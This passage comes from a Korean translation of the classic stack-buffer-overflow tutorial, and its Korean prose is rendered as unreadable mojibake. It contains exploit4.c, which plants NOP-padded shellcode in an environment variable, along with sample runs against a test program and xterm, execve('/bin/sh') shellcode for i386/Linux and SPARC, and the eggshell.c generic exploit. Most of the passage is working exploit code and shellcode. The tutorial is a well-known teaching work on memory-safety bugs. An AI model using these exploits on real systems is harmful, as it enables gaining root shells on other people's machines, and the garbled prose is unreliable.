T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T? ¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T?¿T? Warning: some arguments in previous message were lost bash$ ------------------------------------------------------------------------------ À¯·¹Ä«! 12¹øµµ ½ÃµµÇÏÁö ¾Ê¾Æ¼­ ¿ì¸®´Â ¸¶¹ýÀÇ ¼ö¸¦ ã¾Æ³Â´Ù. ¸¸¾à¿¡ xtermÀÌ suid root¿´´Ù¸é ÀÌ°ÍÀº root½©ÀÌ µÇ¾úÀ» °ÍÀÌ´Ù. ÀÛÀº ¹öÆÛ ¿À¹öÇ÷οì ~~~~~~~~~~~~~~~~~~~~~~ ¿©·¯ºÐÀÌ ¿À¹öÇ÷οì ÇÏ°íÀÚ ÇÏ´Â ¹öÆÛ°¡ ³Ê¹« À۾Ƽ­ ½©Äڵ尡 ±×°Í¿¡ µé¾î°¥ ¼ö Á¶Â÷ ¾ø°Å³ª ¿ì¸® ÄÚµåÀÇ ÁÖ¼Ò ´ë½Å¿¡ ¸í·Éµé·Î º¹±ÍÁÖ¼Ò¸¦ µ¤¾î ¾²°Å³ª, ȤÀº ¹®ÀÚ¿­ÀÇ ¾ÕºÎºÐÀ» ä¿ï ¼ö ÀÖ´Â NOPÀÇ ¼ö°¡ ³Ê¹« Àû¾î¼­ ±×µéÀÇ ÁÖ¼Ò¸¦ ¾Ë¾Æ¸ÂÈú È®·üÀÌ °ÅÀÇ ¾øÀ» ¶§°¡ ÀÖÀ» °ÍÀÌ´Ù. ÀÌ·± ÇÁ·Î±×·¥µé·ÎºÎÅÍ ½©À» ¾ò±â À§Çؼ­´Â, ¿ì¸®´Â ´Ù¸¥ ¹æ¹ýÀ» ½á¾ß ÇÒ °ÍÀÌ´Ù. ÀÌ Æ¯º°ÇÑ Á¢±ÙÀº ¿©·¯ºÐÀÌ ±× ÇÁ·Î±×·¥ÀÇ È¯°æ º¯¼ö¿¡ Á¢±ÙÀÌ °¡´ÉÇÒ ¶§¸¸ À¯È¿ÇÒ °ÍÀÌ´Ù. ¿ì¸®°¡ ÇÒ ÀÏÀº ¿ì¸®ÀÇ ½©Äڵ带 ȯ°æº¯¼ö¿¡ À§Ä¡½ÃÅ°°í ³ª¼­ ÀÌ º¯¼öÀÇ ¸Þ¸ð¸®»óÀÇ ÁÖ¼Ò·Î ¹öÆÛ¸¦ ¿À¹öÇ÷οìÇÒ °ÍÀÌ´Ù. ÀÌ ¹æ¹ýÀº ¶ÇÇÑ ´ç½ÅÀÌ ¿øÇÏ´Â Å©±â ¸¸Å­ÀÇ ½©Äڵ带 ´ãÀ» ¼ö Àִ ȯ°æº¯¼ö¸¦ ¸¸µé ¼ö ÀÖÀ¸¹Ç·Î, ¼º°ø È®·üÀ» Áõ°¡½Ãų °ÍÀÌ´Ù. ȯ°æ º¯¼öµéÀº ÇÁ·Î±×·¥ÀÌ ½ÃÀÛÇÒ ¶§, ½ºÅÃÀÇ ²À´ë±â¿¡ ÀÚ¸®Àâ´Â´Ù. setenv()¿¡ ÀÇÇÑ ¾î¶°ÇÑ º¯°æµµ ´Ù¸¥ °÷¿¡ ÇÒ´çµÈ´Ù. ±×·¯¸é ÇÁ·Î±×·¥ÀÌ ½ÃÀÛÇÒ ¶§, ½ºÅÃÀÇ ¸ð½ÀÀº ´ÙÀ½°ú °°À» °ÍÀÌ´Ù: NULLNULL ¿ì¸®ÀÇ »õ·Î¿î ÇÁ·Î±×·¥Àº ½©ÄÚµå¿Í NOP¸í·ÉÀ» Æ÷ÇÔÇÑ ¿©ºÐÀÇ º¯¼ö¸¦ ÃëÇÒ °ÍÀÌ´Ù. ¿ì¸®ÀÇ »õ·Î¿î ÇÁ·Î±×·¥Àº ÀÌÁ¦ ´ÙÀ½°ú °°´Ù: exploit4.c ------------------------------------------------------------------------------ #include #define DEFAULT_OFFSET 0 #define DEFAULT_BUFFER_SIZE 512 #define DEFAULT_EGG_SIZE 2048 #define NOP 0x90 char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; unsigned long get_esp(void) { __asm__("movl %esp,%eax"); } void main(int argc, char *argv[]) { char *buff, *ptr, *egg; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i, eggsize=DEFAULT_EGG_SIZE; if (argc > 1) bsize = atoi(argv[1]); if (argc > 2) offset = atoi(argv[2]); if (argc > 3) eggsize = atoi(argv[3]); if (!(buff = malloc(bsize))) { printf("Can't allocate memory.\n"); exit(0); } if (!(egg = malloc(eggsize))) { printf("Can't allocate memory.\n"); exit(0); } addr = get_esp() - offset; printf("Using address: 0x%x\n", addr); ptr = buff; addr_ptr = (long *) ptr; for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; ptr = egg; for (i = 0; i < eggsize - strlen(shellcode) - 1; i++) *(ptr++) = NOP; for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; buff[bsize - 1] = '\0'; egg[eggsize - 1] = '\0'; memcpy(egg,"EGG=",4); putenv(egg); memcpy(buff,"RET=",4); putenv(buff); system("/bin/bash"); } ------------------------------------------------------------------------------ Ãë¾à¼ºÀÖ´Â ½ÃÇè ÇÁ·Î±×·¥À¸·Î »õ·Î¿î ÇÁ·Î±×·¥À» ÇÑ ¹ø ½ÃÇèÇØ º¸ÀÚ: ------------------------------------------------------------------------------ [aleph1]$ ./exploit4 768 Using address: 0xbffffdb0 [aleph1]$ ./vulnerable $RET $ ------------------------------------------------------------------------------ ½ÅÅëÇÏ°Ô ÀÛµ¿ÇÑ´Ù. ±×·³ ÀÌÁ¦ xterm¿¡¼­ ÇØ º¸ÀÚ. ------------------------------------------------------------------------------ [aleph1]$ export DISPLAY=:0.0 [aleph1]$ ./exploit4 2148 Using address: 0xbffffdb0 [aleph1]$ /usr/X11R6/bin/xterm -fg $RET Warning: Color name "°¤ÿ¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°? ÿ¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿° ?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?? °¤ÿ¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°? ¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°? ÿ¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿° ?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?? °¤ÿ¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°? ¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°? ÿ¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?ÿ¿°?? °¤ÿ¿°?¿°? Warning: some arguments in previous message were lost $ ------------------------------------------------------------------------------ ù ¹ø° ½Ãµµ·Î ¼º°øÇß´Ù! ¼º°øÇÒ °¡´É¼ºÀÌ È®½ÇÈ÷ Áõ°¡µÇ¾ú´Ù. ÀÌ¿ë ÇÁ·Î±×·¥ÀÌ ¿©·¯ºÐÀÌ ÀÌ¿ëÇÏ°íÀÚ ÇÏ´Â ÇÁ·Î±×·¥°ú ¾ó¸¶³ª ¸¹Àº ȯ°æ µ¥ÀÌÅ͸¦ ºñ±³ÇÏ´À³Ä¿¡ µû¶ó ÃßÃøµÈ ÁÖ¼Ò´Â ³·¾Æ Áú ¼öµµ, ³ô¾Æ Áú ¼öµµ ÀÖ´Ù. ¾çÀÇ °Å¸®(offset)¿Í À½ÀÇ °Å¸®(offset) µÑ ´Ù¸¦ °¡Áö°í ½ÇÇèÇØ º¸¶ó. ¹öÆÛ ¿À¹öÇ÷οì ã±â ~~~~~~~~~~~~~~~~~~~~~~ ¾Õ¿¡¼­ ¸»ÇßµíÀÌ, ¹öÆÛ ¿À¹öÇ÷οì´Â ´Ù·ê ¼ö ÀÖ´Â °Íº¸´Ù ´õ ¸¹Àº Á¤º¸¸¦ ¹öÆÛ¿¡ ä¿òÀ¸·Î½á ÀϾ´Ù. C´Â ±âº»ÀûÀ¸·Î ¹®ÀÚ±æÀÌ È®ÀÎ(bound checking)À» ÇÏÁö ¾Ê±â ¶§¹®¿¡, ¿À¹öÇ÷οì´Â ¹®Àڹ迭ÀÇ ³¡À» Áö³ª¼­ ±â·ÏÇÔÀ¸·Î½á ³ªÅ¸³­´Ù. Ç¥ÁØÀÇ C ¶óÀ̺귯¸®´Â bound checkingÀ» ÇÏÁö ¾Ê´Â, ¹®ÀÚ¿­À» º¹»çÇϰųª µ¡ºÙÀÌ´Â ¸¹Àº ÇÔ¼öµéÀ» Á¦°øÇÑ´Ù. À̰͵éÀ» Æ÷ÇÔÇÑ´Ù: strcat(), strcpy(), sprintf(), vsprintf(). ÀÌ ÇÔ¼öµéÀº null·Î Á¾·áµÇ´Â ¹®ÀÚ¿­¿¡¼­ ÀÛ¿ëÇÏ°í, ÀüÇØ ¹Þ°í ÀÖ´Â ¹®ÀÚ¿­ÀÇ ¿À¹öÇ÷ο쿡 ´ëÇؼ­´Â üũÇÏÁö ¾Ê´Â´Ù. gets()´Â »õ·Î¿î ÁÙ(newline) ¹®ÀÚ³ª EOF°¡ ³ª¿Ã¶§±îÁö stdin(Ç¥ÁØ ÀÔ·Â)À¸·ÎºÎÅÍ 1ÁÙÀ» Àо buffer¿¡ ±â·ÏÇÑ´Ù. ÀÌ°ÍÀº ¹öÆÛ ¿À¹öÇ÷ο쿡 ´ëÇÑ Ã¼Å©¸¦ ÀüÇô ÇÏÁö ¾Ê´Â´Ù. scanf() ÇÔ¼öÇüµéÀº, ¸¸¾à ¿©·¯ºÐÀÌ °ø¹é¹®ÀÚ°¡ ¾Æ´Ñ (non-white-space) ¹®ÀÚ¿­(%s)À» ¸ÅÄ¡½ÃÅ°°Å³ª ȤÀº ¸í±âµÈ ¼¼Æ®(%[])·ÎºÎÅÍ °ø¹é¾Æ´Ñ ¹®ÀÚ¿­À» ¸ÅÄ¡½ÃÅ°°í, char Æ÷ÀÎÅÍ¿¡ ÀÇÇØ °¡¸£ÄÑÁø ¹è¿­ÀÌ ¹®ÀÚ¿­ ÀüºÎ¸¦ ¹Þ¾ÆµéÀÏ ¼ö ÀÖÀ»¸¸Å­ Å©Áö ¾Ê°í, ¼±ÅûçÇ×ÀÎ ÃÖ´ë Çʵå ÆøÀ» Á¤ÀÇÇÏÁö ¾Ê´Â´Ù¸é, ¶ÇÇÑ ¹®Á¦°¡ ¹ß»ýÇÒ ¼ö ÀÖ´Ù. * ¿ªÀÚÁÖ - white-space charaters : space, tab, carriage return, new line, vertical tab, or formfeed (0x09 to 0x0D, 0x20) ¿ì¸®°¡ ã´Â ¶Ç ´Ù¸¥ º¸ÅëÀÇ ÇÁ·Î±×·¡¹Ö ±¸¼ºÀº, Ç¥ÁØÀԷ¿¡¼­ ȤÀº ¾î¶² ÆÄÀÏ¿¡¼­ ÁÙÀÇ ¸¶Áö¸·(end of line), ÆÄÀÏÀÇ ³¡(end of file), ȤÀº ´Ù¸¥ ±¸È¹¹®ÀÚ(delimiter)¿¡ µµ´ÞÇÒ¶§±îÁö, ÇÑ ¹ø¿¡ ÇÑ ¹®ÀÚ¾¿ Àо ¹öÆÛ¿¡ ±â·ÏÇϱâ À§ÇØ, while ·çÇÁ¸¦ »ç¿ëÇÏ´Â °ÍÀÌ´Ù. ÀÌ·± ±¸¼ºÀº º¸Åë ÀÌ·± ÇÔ¼öµé Áß Çϳª¸¦ »ç¿ëÇÑ´Ù: getc(), fgetc() ¶Ç´Â getchar(). ¸¸¾à while ·çÇÁ¿¡¼­ ¿À¹öÇ÷ο츦 À§ÇÑ ¸í¹éÇÑ Ã¼Å©¸¦ ÇÏÁö ¾Ê´Â´Ù¸é, ±×·± ÇÁ·Î±×·¥µéÀº ½±°Ô ÀÌ¿ëµÉ ¼ö ÀÖ´Ù. °á·ÐÀ» ³»¸®ÀÚ¸é, grep(1)Àº ¿©·¯ºÐÀÇ Ä£±¸´Ù. °øÂ¥ ¿î¿µÃ¼°èµé°ú ±×°ÍµéÀÇ À¯Æ¿¸®Æ¼µéÀÇ ¼Ò½ºµéÀº ½±»ç¸® ÀÔ¼öÇÒ ¼ö ÀÖ´Ù. ÀÌ »ç½ÇÀº, ¿©·¯ºÐÀÌ ¸¹Àº Åë»óÀÇ ¿î¿µÃ¼°èµéÀÇ À¯Æ¿¸®Æ¼µéÀÌ °øÂ¥ °Íµé°ú °°Àº ¼Ò½º¿¡¼­ ÆÄ»ýµÇ¾ú´Ù´Â »ç½ÇÀ» ±ú´Ý°ÔµÇ¸é, ²Ï Èï¹Ì·Î¿ö Áú °ÍÀÌ´Ù. d00d ¼Ò½º¸¦ »ç¿ëÇ϶ó. ºÎ·Ï A - ´Ù¸¥ ¿î¿µÃ¼°è¿Í ¾ÆÅ°ÅØó¸¦ À§ÇÑ ½©ÄÚµå ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ i386/Linux ------------------------------------------------------------------------------ jmp 0x1f popl %esi movl %esi,0x8(%esi) xorl %eax,%eax movb %eax,0x7(%esi) movl %eax,0xc(%esi) movb $0xb,%al movl %esi,%ebx leal 0x8(%esi),%ecx leal 0xc(%esi),%edx int $0x80 xorl %ebx,%ebx movl %ebx,%eax inc %eax int $0x80 call -0x24 .string \"/bin/sh\" ------------------------------------------------------------------------------ SPARC/Solaris ------------------------------------------------------------------------------ sethi 0xbd89a, %l6 or %l6, 0x16e, %l6 sethi 0xbdcda, %l7 and %sp, %sp, %o0 add %sp, 8, %o1 xor %o2, %o2, %o2 add %sp, 16, %sp std %l6, [%sp - 16] st %sp, [%sp - 8] st %g0, [%sp - 4] mov 0x3b, %g1 ta 8 xor %o7, %o7, %o0 mov 1, %g1 ta 8 ------------------------------------------------------------------------------ SPARC/SunOS ------------------------------------------------------------------------------ sethi 0xbd89a, %l6 or %l6, 0x16e, %l6 sethi 0xbdcda, %l7 and %sp, %sp, %o0 add %sp, 8, %o1 xor %o2, %o2, %o2 add %sp, 16, %sp std %l6, [%sp - 16] st %sp, [%sp - 8] st %g0, [%sp - 4] mov 0x3b, %g1 mov -0x1, %l5 ta %l5 + 1 xor %o7, %o7, %o0 mov 1, %g1 ta %l5 + 1 ------------------------------------------------------------------------------ ºÎ·Ï B - ÀϹÝÀûÀÎ ¹öÆÛ ¿À¹öÇ÷οì ÇÁ·Î±×·¥ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ shellcode.h ------------------------------------------------------------------------------ #if defined(__i386__) && defined(__linux__) #define NOP_SIZE 1 char nop[] = "\x90"; char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } #elif defined(__sparc__) && defined(__sun__) && defined(__svr4__) #define NOP_SIZE 4 char nop[]="\xac\x15\xa1\x6e"; char shellcode[] = "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e" "\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0" "\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\x91\xd0\x20\x08" "\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd0\x20\x08"; unsigned long get_sp(void) { __asm__("or %sp, %sp, %i0"); } #elif defined(__sparc__) && defined(__sun__) #define NOP_SIZE 4 char nop[]="\xac\x15\xa1\x6e"; char shellcode[] = "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e" "\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0" "\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\xaa\x10\x3f\xff" "\x91\xd5\x60\x01\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd5\x60\x01"; unsigned long get_sp(void) { __asm__("or %sp, %sp, %i0"); } #endif ------------------------------------------------------------------------------ eggshell.c ------------------------------------------------------------------------------ /* * eggshell v1.0 * * Aleph One / aleph1@underground.org */ #include #include #include "shellcode.h" #define DEFAULT_OFFSET 0 #define DEFAULT_BUFFER_SIZE 512 #define DEFAULT_EGG_SIZE 2048 void usage(void); void main(int argc, char *argv[]) { char *ptr, *bof, *egg; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i, n, m, c, align=0, eggsize=DEFAULT_EGG_SIZE; while ((c = getopt(argc, argv, "a:b:e:o:")) != EOF) switch (c) { case 'a': align = atoi(optarg); break; case 'b': bsize = atoi(optarg); break; case 'e': eggsize = atoi(optarg); break; case 'o': offset = atoi(optarg); break; case '?': usage(); exit(0); } if (strlen(shellcode) > eggsize) { printf("Shellcode is larger the the egg.\n"); exit(0); } if (!(bof = malloc(bsize))) { printf("Can't allocate memory.\n"); exit(0); } if (!(egg = malloc(eggsize))) { printf("Can't allocate memory.\n"); exit(0); } addr = get_sp() - offset; printf("[ Buffer size:\t%d\t\tEgg size:\t%d\tAligment:\t%d\t]\n", bsize, eggsize, align); printf("[ Address:\t0x%x\tOffset:\t\t%d\t\t\t\t]\n", addr, offset); addr_ptr = (long *) bof; for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; ptr = egg; for (i = 0; i <= eggsize - strlen(shellcode) - NOP_SIZE; i += NOP_SIZE) for (n = 0; n < NOP_SIZE; n++) { m = (n + align) % NOP_SIZE; *(ptr++) = nop[m]; } for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; bof[bsize - 1] = '\0'; egg[eggsize - 1] = '\0'; memcpy(egg,"EGG=",4); putenv(egg); memcpy(bof,"BOF=",4); putenv(bof); system("/bin/sh"); } void usage(void) { (void)fprintf(stderr, "usage: eggshell [-a ] [-b ] [-e ] [-o ]\n"); } ------------------------------------------------------------------------------